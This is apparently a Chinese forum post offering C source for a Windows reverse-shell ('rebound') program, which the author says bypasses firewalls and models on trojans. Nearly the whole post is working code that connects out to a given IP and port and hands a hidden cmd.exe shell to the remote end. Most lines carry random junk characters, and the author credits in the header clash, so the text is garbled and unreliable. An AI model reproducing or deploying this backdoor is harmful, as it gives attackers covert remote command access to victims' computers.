这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?O8ViB?2
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/* ============================== hC\6-
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Rebound port in Windows NT v&=gF/$
By wind,2006/7 R;j!}D!4
===============================*/ \ioH\9
#include F F|FU<
#include 0:T|S>FsAm
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#pragma comment(lib,"wsock32.lib") N|6MP
e
2* 2wY =
void OutputShell(); 6*3.SGUY
SOCKET sClient; 2Tagr1L
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ROous4 MG
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void main(int argc,char **argv) >Vwc3d
{ lGOgN!?i
WSADATA stWsaData; 3h *!V6%q
int nRet; lk( }-
SOCKADDR_IN stSaiClient,stSaiServer; ]4pkcV
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if(argc != 3) ;9c<K
{ lQe%Yh
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printf("Useage:\n\rRebound DestIP DestPort\n"); 7BJzMlJ1Y
return; pNKhc#-w
} ?]}8o}G
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WSAStartup(MAKEWORD(2,2),&stWsaData); #N`~xZ|$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; H kQ)n3
stSaiClient.sin_port = htons(0); 3G(miP6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G{6;>8h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AD|2qM))
{ /!3@]xz*
printf("Bind Socket Failed!\n"); R~S;sJ& c
return; G1o3l~x
} xo7Kn+ Kl
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stSaiServer.sin_family = AF_INET; jbS\vyG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5) pj]S!]-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m>MB7,C;N
{ ,uSQNre\j
printf("Connect Error!"); ]hFW73FV
return; U
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} 7G/1VeVjB
OutputShell(); k\NMy#]Zt
} 5
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void OutputShell() .P7"e5ge
{ }x07^4$j
char szBuff[1024]; c'S,hCe*
SECURITY_ATTRIBUTES stSecurityAttributes; RT.D"WvT
OSVERSIONINFO stOsversionInfo; ]Ccg`AR{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jAm3HI
STARTUPINFO stStartupInfo; \cUC9/
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char *szShell; f7X6fr<
PROCESS_INFORMATION stProcessInformation; NbU [l
unsigned long lBytesRead; TjwBv6h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .ZJRO>S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /XzH?n/{R
stSecurityAttributes.lpSecurityDescriptor = 0; 5a hVeY
stSecurityAttributes.bInheritHandle = TRUE; &8g?4v
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4 Dw@r{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 98uV6b~g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aD=A^ktx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I^8"{J.Q)[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %
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stStartupInfo.wShowWindow = SW_HIDE; f^"N!f a
stStartupInfo.hStdInput = hReadPipe; LkK~%tY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Gq }U|Z
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GetVersionEx(&stOsversionInfo); HFaj-~b
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switch(stOsversionInfo.dwPlatformId) dK2p7xo
{ 4*cU<
case 1: #[`:'e
szShell = "command.com"; vWf;
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break; < VSA
default: jhg;%+KB
szShell = "cmd.exe"; ?)1{)Erf8x
break; GP:77)b5
} R5 9S@MsuD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); Q&eQQ6b^Ih
while(1) M #=]
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{ cQ"~\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }C>{uXv
if(lBytesRead) _oUHJ~&,
{ 82QGS$0V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /(BMG/Tb
send(sClient,szBuff,lBytesRead,0); q~vDz]\G
} nC}6B).el
else !gv`FE9y
{ X6mqi;+
lBytesRead=recv(sClient,szBuff,1024,0); qQsku;C?i
if(lBytesRead<=0) break; 4@ML3d/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); frT]5?{
} S&\L-@
} .b-f9qc=
##V5-ZG{:
return; tP2qK_\e=
}